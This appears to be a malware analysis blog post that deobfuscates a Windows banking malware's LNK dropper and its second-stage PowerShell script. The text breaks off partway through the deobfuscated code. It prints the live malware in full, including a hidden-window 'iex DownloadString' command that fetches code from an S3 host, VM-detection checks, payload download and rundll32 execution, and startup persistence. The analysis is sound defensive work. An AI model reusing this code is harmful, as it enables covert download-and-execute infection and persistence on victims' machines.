This article was published on the 11th of February 2019. This article was updated on the 19th of March 2020.

In this article, the first two stages of a Windows based banking malware will be analysed. The first stage is a Windows Shortcut file (a LNK file) which contains more than meets the eye. After that, a Powershell script (which is obfuscated with ISESteriods) is dropped and executed. This Powershell file is also analysed.

The sample, including all dropped files, can be downloaded from VirusBay, Malware Bazaar, or MalShare. The hashes are given below.

MD5: 44b0911bceba8ef942c4702501f6d5b7 SHA-1: e9a4be89e495f2aecc5bd54d4f5d37e84f3a36d4 SHA-256: c8c450181bbbc56e1812aa2e9ff90597c5b891bc6829db74b89f51d162a4060c

Table of contents

The shortcut itself has a generic icon and its target is the Windows Command Shell cmd.exe. Below, the entire target is given. Do note the whitespace at the end of the human readable text.

C:\Windows\system32\cmd.exe / V / C set x4OAGWfxlES02z6NnUkK =2whttpr0 && set L1U03HmUO6B9IcurCNNlo4 =.com && echo | start % x4OAGWfxlES02z6NnUkK:~ 2 , 4 % s: // get.adobe % L1U03HmUO6B9IcurCNNlo4 %/ br / flashplayer /

There flags and variables will be explained below, starting with the flags.

Flags

The flags /V and /C are used in combination. Using the Windows shell, one can use the /? flag to display the manual. The full command to do so is given below.

cmd.exe / ?

Within the manual, the information for both flags can be found, as can be seen below.

/C Carries out the command specified by string and then terminates /V:ON Enable delayed environment variable expansion using ! as the delimiter. For example, /V:ON would allow !var! to expand the variable var at execution time. The var syntax expands variables at input time, which is quite a different thing when inside of a FOR loop.

Note that multiple commands that are separated by the command separator ‘&&’.

The started shell is terminated when the command line arguments have been parsed and executed. The delayed environment variable expansion allows the target to be obfuscated, as the variables are first set and then expanded.

Variables

The variables are split up between percentage signs and multiple commands are concatenated using two ampersand signs. The keyword set is used to declare a variable and set a value to it. Below, the commands are split so that each command is on a new line.

set x4OAGWfxlES02z6NnUkK =2whttpr0 && set L1U03HmUO6B9IcurCNNlo4 =.com && echo | start % x4OAGWfxlES02z6NnUkK:~ 2 , 4 % s: // get.adobe % L1U03HmUO6B9IcurCNNlo4 %/ br / flashplayer /

The first two variables (x4OAGWfxlES02z6NnUkK and L1U03HmUO6B9IcurCNNlo4) are used to start a new process in the last line. The :~2,4 part (behind x4OAGWfxlES02z6NnUkK in the last line) is used to select a substring from index 2 with a length of 4 (including the starting index). In this case the value 2whttpr0 is transformed into http. The deobfuscated URL is given below.

https://get.adobe.com/br/flashplayer/

Simply opening the official Adobe Flash player website using the default web browser isn’t malicious, meaning there is more to it than currently observed. The appended white space at the end of the target is odd, which is reason enough to open the shortcut with a hex editor. This reveals that there is more content that is executed, but not directly visible.

Dots and null bytes

There are dots within the text, as well as dots which represent a null byte in the hex editor. Either find an editor which does not do this, or replace all the null bytes using a character that does not occur in the text. An example in this case would be the ^. After copying the data, the chosen character can be replaced with nothing, and the original text will appear.

The complete shortcut

The result from the hex editor is given below.

C:\Windows\system32\cmd.exe / V / C set x4OAGWfxlES02z6NnUkK =2whttpr0 && set L1U03HmUO6B9IcurCNNlo4 =.com && echo | start % x4OAGWfxlES02z6NnUkK:~ 2 , 4 % s: // get.adobe % L1U03HmUO6B9IcurCNNlo4 %/ br / flashplayer / && set aZM4j3ZhPLBn9MpuxaO = -win 1 && set MlyavWfE =ndows && set jA8Axao1xcZ =iEx && set WMkgA3uXa1pXx =tRi && set KNhGmAqHG5 =bJe && set 4 kxhaz6bqqKC =LOad && set rwZCnSC7T = nop && set jcCvC =NEw && set ZTVZ =wEbc && set DABThzRuTT2hYjVOy =nt ) .dow && set cwdOsPOdA08SZaXVp1eFR =t NeT. && set Rb =Ers && set j4HfRAqYXcRZ3R =hEll && set Kpl01SsXY5tthb1 =.bmp && set vh7q6Aq0zZVLclPm =\v1.0\ && set 2 Mh =pOw && set 8 riacao = % x4OAGWfxlES02z6NnUkK:~ 2 , 4 % s: // s3-eu-west- 1 .amazonaws % L1U03HmUO6B9IcurCNNlo4 %/ juremasobra2 / jureklarj934t9oi4 % Kpl01SsXY5tthb1 %&&@ echo off && % SystemDrive % && cd \ && cd % SystemRoot % \System32 && echo % jA8Axao1xcZ % ( "%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')" ) ; | Wi ! MlyavWfE !! 2Mh !! Rb !! j4HfRAqYXcRZ3R !! vh7q6Aq0zZVLclPm !! 2Mh !! Rb !! j4HfRAqYXcRZ3R ! - ! rwZCnSC7T !! aZM4j3ZhPLBn9MpuxaO ! -- % ProgramFiles % \Internet Explorer\iexplore.exe

The commands above are rather hard to read when all of them are in a single line. Creating some sort of dictionary makes it easier to read and refactor. The dictionary is given below.

x4OAGWfxlES02z6NnUkK =2whttpr0 L1U03HmUO6B9IcurCNNlo4 =.com % x4OAGWfxlES02z6NnUkK:~ 2 , 4 % s: // get.adobe % L1U03HmUO6B9IcurCNNlo4 %/ br / flashplayer / aZM4j3ZhPLBn9MpuxaO = -win 1 MlyavWfE =ndows jA8Axao1xcZ =iEx WMkgA3uXa1pXx =tRi KNhGmAqHG5 =bJe 4 kxhaz6bqqKC =LOad rwZCnSC7T = nop jcCvC =NEw ZTVZ =wEbc DABThzRuTT2hYjVOy =nt ) .dow cwdOsPOdA08SZaXVp1eFR =t NeT. Rb =Ers j4HfRAqYXcRZ3R =hEll Kpl01SsXY5tthb1 =.bmp vh7q6Aq0zZVLclPm =\v1.0\ 2 Mh =pOw 8 riacao = % x4OAGWfxlES02z6NnUkK:~ 2 , 4 % s: // s3-eu-west- 1 .amazonaws % L1U03HmUO6B9IcurCNNlo4 %/ juremasobra2 / jureklarj934t9oi4 % Kpl01SsXY5tthb1 % @ echo off % SystemDrive % cd \ cd % SystemRoot % \System32 echo % jA8Axao1xcZ % ( "%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')" ) ; | Wi ! MlyavWfE !! 2Mh !! Rb !! j4HfRAqYXcRZ3R !! vh7q6Aq0zZVLclPm !! 2Mh !! Rb !! j4HfRAqYXcRZ3R ! - ! rwZCnSC7T !! aZM4j3ZhPLBn9MpuxaO ! -- % ProgramFiles % \Internet Explorer\iexplore.exe

When it is all put together, the command becomes readable. The command is given below.

echo iEx ( iEx ( NEw-obJect NeT.wEbcLient ) .downLOadStRiNG ( 'https://s3-eu-west-1.amazonaws.com/juremasobra2/jureklarj934t9oi4.bmp' ) "); | WindowspOwErshEll \v 1.0\pOwErshEll -nop -win 1 --%ProgramFiles%\Internet Explorer\iexplore.exe

The function iex stands for Invoke-Expression, as can be seen in the Microsoft documentation. A bitmap (.BMP) is downloaded from an Amazon AWS server, which is then opened with Powershell. Together with the start of the Powershell process, two arguments are given. Firstly, the -nop is given. This avoids the use of any profile, as it stands for NoProfile. Secondly, the argument -win 1 is given. This argument stands for WindowStyle. The value 1 stands for the hidden window style, meaning it is not shown to the user.

The bitmap that was downloaded, is a Powershell script. The complete script is given below.

$ { ____ /=== \ /===== \ / } = $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'aAB0AHQAcABzADoALwAvAHMAMwAtAGUAdQAtAHcAZQBzAHQALQAxAC4AYQBtAGEAegBvAG4AYQB3AHMALgBjAG8AbQAvAGoAdQByAGUAbQBhAHMAbwBiAHIAYQAyAC8AaQBtAGEAZwBlADIALgBwAG4AZwA===' ) ) ) _.dll = $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'XwAuAGQAbABsAA==' ) ) ) _.prx = $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'XwAuAHAAcgB4AA==' ) ) ) MaxNotify = $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'TQBhAHgATgBvAHQAaQBmAHkA' ) ) ) function _ /= \ / \ /=== \ /== \___ { $ { _ / \___ /= \_ / \ / \__ / } = gwmi -Class Win32_ComputerSystem | select -ExpandProperty Model if ( $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'VgBpAHIAdAB1AGEAbABCAG8AeAA=' ) ) ) -or $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'VgBNAHcAYQByAGUAIABWAGkAcgB0AHUAYQBsACAAUABsAGEAdABmAG8AcgBtAA==' ) ) ) -or $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'VgBpAHIAdAB1AGEAbAAgAE0AYQBjAGgAaQBuAGUA' ) ) ) -or $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'SABWAE0AIABkAG8AbQBVAA==' ) ) ) ) { return "Y" } else { return "N" } } function ____ / \__ /=== \_ /= \ / { try { $ { ___ / \_ /= \_ /= \_ / \ / } = Get - Random -Minimum 1 -Maximum 9 $ { _ / \ / \_ / \ / \_ /= \ / \ / } = "" For ( $ { /== \ / \___ / \_ / \ /== } = 0 ; $ { /== \ / \___ / \_ / \ /== } -le $ { ___ / \_ /= \_ /= \_ / \ / } ; $ { /== \ / \___ / \_ / \ /== } ++ ) { qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM = $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'cQB3AGUAcgB0AHkAdQBpAG8AcABsAGsAagBoAGcAZgBkAHMAYQB6AHgAYwB2AGIAbgBtAFEAVwBFAFIAVABZAFUASQBPAFAAQQBTAEQARgBHAEgASgBLAEwAWgBYAEMAVgBCAE4ATQA=' ) ) ) nomeRandomico_getrandom = Get - Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring ( nomeRandomico_getrandom , 1 ) $ { _ / \ / \_ / \ / \_ /= \ / \ / } = $ { _ / \ / \_ / \ / \_ /= \ / \ / } + caractereRandomico } return $ { _ / \ / \_ / \ / \_ /= \ / \ / } } finally { } } function __ /==== \___ /= \_ / \_ ( $ { ___ / \ / \_ / \_ /= \__ / \ } , $ { ___ /== \ /= \ /= \____ / } ) { $ { /= \_ / \ /==== \ / \_ / \ } = New-Object $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'UwB5AHMAdABlAG0ALgBVAHIAaQA=' ) ) ) $ExecutionContext .InvokeCommand.ExpandString ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'JAB7AF8AXwBfAC8AXAAvAFwAXwAvAFwAXwAvAD0AXABfAF8ALwBcAH0A' ) ) ) $ { /= \ /=== \_ / \ / \_ / \_ } = [ System.Net.HttpWebRequest ] ::Create ( $ { /= \_ / \ /==== \ / \_ / \ } ) $ { /= \ /=== \_ / \ / \_ / \_ } .set_Timeout ( 15000 ) $ { /= \ /==== \__ /== \__ } = $ { /= \ /=== \_ / \ / \_ / \_ } .GetResponse ( ) $ { /= \_ /== \__ / \__ / \_ } = [ System.Math ] ::Floor ( $ { /= \ /==== \__ /== \__ } .get_ContentLength ( ) / 1024 ) $ { _ /=== \ /= \_ /= \___ / } = $ { /= \ /==== \__ /== \__ } .GetResponseStream ( ) $ { __ /==== \__ / \ / \__ / } = New-Object -TypeName System.IO.FileStream -ArgumentList $ { ___ /== \ /= \ /= \____ / } , Create $ { /= \ /= \ /== \_ / \ /= \_ } = new-object byte [ ] 10KB $ { _ /=== \_ /= \ / \ /=== \ } = $ { _ /=== \ /= \_ /= \___ / } .Read ( $ { /= \ /= \ /== \_ / \ /= \_ } , 0 , $ { /= \ /= \ /== \_ / \ /= \_ } .length ) $ { /== \_ /=== \ / \ /= \ / \ } = $ { _ /=== \_ /= \ / \ /=== \ } while ( $ { _ /=== \_ /= \ / \ /=== \ } -gt 0 ) { $ { __ /==== \__ / \ / \__ / } . Write ( $ { /= \ /= \ /== \_ / \ /= \_ } , 0 , $ { _ /=== \_ /= \ / \ /=== \ } ) $ { _ /=== \_ /= \ / \ /=== \ } = $ { _ /=== \ /= \_ /= \___ / } .Read ( $ { /= \ /= \ /== \_ / \ /= \_ } , 0 , $ { /= \ /= \ /== \_ / \ /= \_ } .length ) $ { /== \_ /=== \ / \ /= \ / \ } = $ { /== \_ /=== \ / \ /= \ / \ } + $ { _ /=== \_ /= \ / \ /=== \ } } $ { __ /==== \__ / \ / \__ / } .Flush ( ) $ { __ /==== \__ / \ / \__ / } .Close ( ) $ { __ /==== \__ / \ / \__ / } .Dispose ( ) $ { _ /=== \ /= \_ /= \___ / } .Dispose ( ) return "Y" } function _____ /== \_ /= \_ /=== { Param ( [ string ] $ { _ /===== \ /== \ / \___ / } , [ string ] $ { ___ / \____ / \_ /= \ / \_ } ) ; try { $ { _ / \ /= \ / \ /=== \ / \ / \ } = New-Object -ComObject WScript.Shell $ { /= \ /= \ / \ /= \_ /= \__ } = $ { _ / \ /= \ / \ /=== \ / \ / \ } .CreateShortcut ( $ { _ /===== \ /== \ / \___ / } ) $ { /= \ /= \ / \ /= \_ /= \__ } .TargetPath = 'powershell' $ { /= \ /= \ / \ /= \_ /= \__ } .Arguments = $ExecutionContext .InvokeCommand.ExpandString ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'JAB7AF8AXwBfAC8AXABfAF8AXwBfAC8AXABfAC8APQBcAC8AXABfAH0A' ) ) ) $ { /= \ /= \ / \ /= \_ /= \__ } .WorkingDirectory = $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'JQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXABTAHkAcwB0AGUAbQAzADIA' ) ) ) $ { /= \ /= \ / \ /= \_ /= \__ } .WindowStyle = 7 $ { /= \ /= \ / \ /= \_ /= \__ } .IconLocation = $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==' ) ) ) $ { /= \ /= \ / \ /= \_ /= \__ } .Save ( ) } finally { } } function _ /= \ / \_ / \ /=== \_ /== { try { $ { _ /====== \_ / \ /= \ / \ } = New-Object System.Threading.Mutex ( $false , $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'NAA0ADQANAA0ADQANAA0ADQANAA0ADQA' ) ) ) ) return $ { _ /====== \_ / \ /= \ / \ } .WaitOne ( ) } finally { } } if ( _ /= \ / \ /=== \ /== \___ -eq "N" ) { if ( _ /= \ / \_ / \ /=== \_ /== ) { stop-process -name wmplayer $ { ___ / \ /=== \____ / \ / } = $ { env:APPDATA } + "\" $ { /= \______ /= \ /== \ / } = ____ / \__ /=== \_ /= \ / $ { /=== \ /= \ / \_ /= \ /== } = $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'LgB0AHgAdAA=' ) ) ) $ { _ /= \ /=== \ / \___ / \_ } = $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'LgB2AGIAcwA=' ) ) ) $ { /= \ /== \__ / \_ / \__ / } = $ { ___ / \ /=== \____ / \ / } + $ { /= \______ /= \ /== \ / } + $ { /=== \ /= \ / \_ /= \ /== } $ { /= \__ /= \___ /=== \_ } = $ { ___ / \ /=== \____ / \ / } + $ { /= \______ /= \ /== \ / } + $ { _ /= \ /=== \ / \___ / \_ } sleep - s 1 $ { /=== \ / \_ /==== \ /= \ } = $false while ( $ { /=== \ / \_ /==== \ /= \ } -ne $true ) { __ /==== \___ /= \_ / \_ $ { ____ /=== \ /===== \ / } $ { /= \ /== \__ / \_ / \__ / } ; sleep - s 1 if ( ( gi $ { /= \ /== \__ / \_ / \__ / } ) .length -gt 2048kb ) { $ { /=== \ / \_ /==== \ /= \ } = $true $ { _ /= \_ /== \ /= \__ / \_ } = "Y" } else { $ { _ /= \_ /== \ /= \__ / \_ } = "N" } Write-Host $ { /=== \ / \_ /==== \ /= \ } } $ { _ /= \_ /== \ /= \__ / \_ } = "Y" if ( $ { _ /= \_ /== \ /= \__ / \_ } -eq "Y" ) { $ { /=== \__ / \ /== \_ /== } = $ { ___ / \ /=== \____ / \ / } + $ { /= \______ /= \ /== \ / } + $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'LgB6AGkAcAA=' ) ) ) ren -Path $ExecutionContext .InvokeCommand.ExpandString ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'JAB7AC8APQBcAC8APQA9AFwAXwBfAC8AXABfAC8AXABfAF8ALwB9AA==' ) ) ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'JAB7AC8APQA9AD0AXABfAF8ALwBcAC8APQA9AFwAXwAvAD0APQB9AA==' ) ) ) ; $ { /= \_ /= \_ /=== \___ / } = New-Object -ComObject shell.application $ { _ / \___ / \_ /====== \ } = $ { /= \_ /= \_ /=== \___ / } .NameSpace ( $ { /=== \__ / \ /== \_ /== } ) foreach ( $ { _ /==== \ / \_ / \ / \__ / } in $ { _ / \___ / \_ /====== \ } .items ( ) ) { $ { /= \_ /= \_ /=== \___ / } .Namespace ( $ { ___ / \ /=== \____ / \ / } ) .CopyHere ( $ { _ /==== \ / \_ / \ / \__ / } ) } sleep - s 3 $ { _ / \_ /= \_ /= \_ / \___ } = ____ / \__ /=== \_ /= \ / $ { /= \_ /=== \ / \_ /=== \ } = $ { _ / \_ /= \_ /= \_ / \___ } + $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'LgBwAHIAeAA=' ) ) ) $ { _ / \_ /= \_ /= \_ / \___ } = $ { _ / \_ /= \_ /= \_ / \___ } + $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'LgBkAGwAbAA=' ) ) ) ren -Path $ExecutionContext .InvokeCommand.ExpandString ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwALwBcAF8ALwBcAF8ALwA9AFwALwA9AD0APQA9AH0A' ) ) ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwAXwAvAD0AXABfAC8APQBcAF8ALwBcAF8AXwBfAH0A' ) ) ) ; ren -Path $ExecutionContext .InvokeCommand.ExpandString ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwAvAFwAXwBfAF8AXwAvAD0AXAAvAFwAXwAvAD0APQA9AH0A' ) ) ) -NewName $ExecutionContext .InvokeCommand.ExpandString ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsALwA9AFwAXwAvAD0APQA9AFwALwBcAF8ALwA9AD0APQBcAH0A' ) ) ) ; sleep - s 3 cd $env :APPDATA ; shellObjeto = New-Object - Com WScript.Shell $ { _ /= \ / \ / \ /= \__ / \ /= } = shellObjeto.SpecialFolders.Item ( $ ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'cwB0AGEAcgB0AHUAcAA=' ) ) ) ) ; del $ { _ /= \ / \ / \ /= \__ / \ /= } \ * .vbs del $ { _ /= \ / \ / \ /= \__ / \ /= } \ * .lnk $ { /= \______ / \_ / \_ /= } = $ExecutionContext .InvokeCommand.ExpandString ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBkACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAByAHUAbgBkAGwAbAAzADIALgBlAHgAZQAgACQAewBfAC8AXABfAC8APQBcAF8ALwA9AFwAXwAvAFwAXwBfAF8AfQAsACAAJAB7AF8AXwBfAC8APQBcAC8AXAAvAFwAXwBfAF8AXwBfAC8APQB9AA==' ) ) ) $ { ___ /= \ /== \ / \_____ } = $ExecutionContext .InvokeCommand.ExpandString ( [ Text.Encoding ] ::Unicode.GetString ( [ Convert ] ::FromBase64String ( 'JAB7AF8ALwA9AFwALwBcAC8AXAAvAD0AXABfAF8ALwBcAC8APQB9AFwAJAB7AC8APQBcAF8ALwA9AD0APQBcAC8AXABfAC8APQA9AD0AXAB9AC4AbABuAGsA' ) ) ) _____ /== \_ /= \_ /=== $ { ___ /= \ /== \ / \_____ } $ { /= \______ / \_ / \_ /= } sleep - s 40 Restart - Computer -Force } } }

The obfuscation that is used, is visible in the code. Function and variable names have been replaced by obfuscated names. These obfuscated names solemnly consist of the characters _ / \ and =. Strings within the code have been encoded using the base64 encoding scheme.

Replacing these strings provides a starting ground to refactor the script. The code in which the strings are replaced, is given below.

$ { ____ /=== \ /===== \ / } = $ ( 'https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png' ) _.dll = $ ( '_.dll' ) _.prx = $ ( '_.prx' ) MaxNotify = $ ( 'MaxNotify' ) function _ /= \ / \ /=== \ /== \___ { $ { _ / \___ /= \_ / \ / \__ / } = gwmi -Class Win32_ComputerSystem | select -ExpandProperty Model if ( $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( 'VirtualBox' ) -or $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( 'VMware Virtual Platform' ) -or $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( 'Virtual Machine' ) -or $ { _ / \___ /= \_ / \ / \__ / } -eq $ ( 'HVM domU' ) { return "Y" } else { return "N" } } function ____ / \__ /=== \_ /= \ / { try { $ { ___ / \_ /= \_ /= \_ / \ / } = Get - Random -Minimum 1 -Maximum 9 $ { _ / \ / \_ / \ / \_ /= \ / \ / } = "" For ( $ { /== \ / \___ / \_ / \ /== } = 0 ; $ { /== \ / \___ / \_ / \ /== } -le $ { ___ / \_ /= \_ /= \_ / \ / } ; $ { /== \ / \___ / \_ / \ /== } ++ ) { qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM = $ ( 'qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' ) nomeRandomico_getrandom = Get - Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring ( nomeRandomico_getrandom , 1 ) $ { _ / \ / \_ / \ / \_ /= \ / \ / } = $ { _ / \ / \_ / \ / \_ /= \ / \ / } + caractereRandomico } return $ { _ / \ / \_ / \ / \_ /= \ / \ / } } finally { } } function __ /==== \___ /= \_ / \_ ( $ { ___ / \ / \_ / \_ /= \__ / \ } , $ { ___ /== \ /= \ /= \____ / } ) { $ { /= \_ / \ /==== \ / \_ / \ } = New-Object $ ( 'System.uri' ) $ExecutionContext .InvokeCommand.ExpandString ( $S { ___ / \ / \_ / \_ /= \__ / \ } ) $ { /= \ /=== \_ / \ / \_ / \_ } = [ System.Net.HttpWebRequest ] ::Create ( $ { /= \_ / \ /==== \ / \_ / \ } ) $ { /= \ /=== \_ / \ / \_ / \_ } .set_Timeout ( 15000 ) $ { /= \ /==== \__ /== \__ } = $ { /= \ /=== \_ / \ / \_ / \_ } .GetResponse ( ) $ { /= \_ /== \__ / \__ / \_ } = [ System.Math ] ::Floor ( $ { /= \ /==== \__ /== \__ } .get_ContentLength ( ) / 1024 ) $ { _ /=== \ /= \_ /= \___ / } = $ { /= \ /==== \__ /== \__ } .GetResponseStream ( ) $ { __ /==== \__ / \ / \__ / } = New-Object -TypeName System.IO.FileStream -ArgumentList $ { ___ /== \ /= \ /= \____ / } , Create $ { /= \ /= \ /== \_ / \ /= \_ } = new-object byte [ ] 10KB $ { _ /=== \_ /= \ / \ /=== \ } = $ { _ /=== \ /= \_ /= \___ / } .Read ( $ { /= \ /= \ /== \_ / \ /= \_ } , 0 , $ { /= \ /= \ /== \_ / \ /= \_ } .length ) $ { /== \_ /=== \ / \ /= \ / \ } = $ { _ /=== \_ /= \ / \ /=== \ } while ( $ { _ /=== \_ /= \ / \ /=== \ } -gt 0 ) { $ { __ /==== \__ / \ / \__ / } . Write ( $ { /= \ /= \ /== \_ / \ /= \_ } , 0 , $ { _ /=== \_ /= \ / \ /=== \ } ) $ { _ /=== \_ /= \ / \ /=== \ } = $ { _ /=== \ /= \_ /= \___ / } .Read ( $ { /= \ /= \ /== \_ / \ /= \_ } , 0 , $ { /= \ /= \ /== \_ / \ /= \_ } .length ) $ { /== \_ /=== \ / \ /= \ / \ } = $ { /== \_ /=== \ / \ /= \ / \ } + $ { _ /=== \_ /= \ / \ /=== \ } } $ { __ /==== \__ / \ / \__ / } .Flush ( ) $ { __ /==== \__ / \ / \__ / } .Close ( ) $ { __ /==== \__ / \ / \__ / } .Dispose ( ) $ { _ /=== \ /= \_ /= \___ / } .Dispose ( ) return "Y" } function _____ /== \_ /= \_ /=== { Param ( [ string ] $ { _ /===== \ /== \ / \___ / } , [ string ] $ { ___ / \____ / \_ /= \ / \_ } ) ; try { $ { _ / \ /= \ / \ /=== \ / \ / \ } = New-Object -ComObject WScript.Shell $ { /= \ /= \ / \ /= \_ /= \__ } = $ { _ / \ /= \ / \ /=== \ / \ / \ } .CreateShortcut ( $ { _ /===== \ /== \ / \___ / } ) $ { /= \ /= \ / \ /= \_ /= \__ } .TargetPath = 'powershell' $ { /= \ /= \ / \ /= \_ /= \__ } .Arguments = $ExecutionContext .InvokeCommand.ExpandString ( '$S{___/\/\_/\_/=\__/\}' ) $ { /= \ /= \ / \ /= \_ /= \__ } .WorkingDirectory = $ ( '%SystemRoot%\System32' ) $ { /= \ /= \ / \ /= \_ /= \__ } .WindowStyle = 7 $ { /= \ /= \ / \ /= \_ /= \__ } .IconLocation = $ ( '%ProgramFiles%\Internet Explorer\iexplore.exe,1' ) $ { /= \ /= \ / \ /= \_ /= \__ } .Save ( ) } finally { } } function _ /= \ / \_ / \ /=== \_ /== { try { $ { _ /====== \_ / \ /= \ / \ } = New-Object System.Threading.Mutex ( $false , $ ( '444444444444' ) ) return $ { _ /====== \_ / \ /= \ / \ } .WaitOne ( ) } finally { } } if ( _ /= \ / \ /=== \ /== \___ -eq "N" ) { if ( _ /= \ / \_ / \ /=== \_ /== ) { stop-process -name wmplayer $ { ___ / \ /=== \____ / \ / } = $ { env:APPDATA } + "\" $ { /= \______ /= \ /== \ / } = ____ / \__ /=== \_ /= \ / $ { /=== \ /= \ / \_ /= \ /== } = $ ( '.txt' ) $ { _ /= \ /=== \ / \___ / \_ } = $ ( '.vbs' ) $ { /= \ /== \__ / \_ / \__ / } = $ { ___ / \ /=== \____ / \ / } + $ { /= \______ /= \ /== \ / } + $ { /=== \ /= \ / \_ /= \ /== } $ { /= \__ /= \___ /=== \_ } = $ { ___ / \ /=== \____ / \ / } + $ { /= \______ /= \ /== \ / } + $ { _ /= \ /=== \ / \___ / \_ } sleep - s 1 $ { /=== \ / \_ 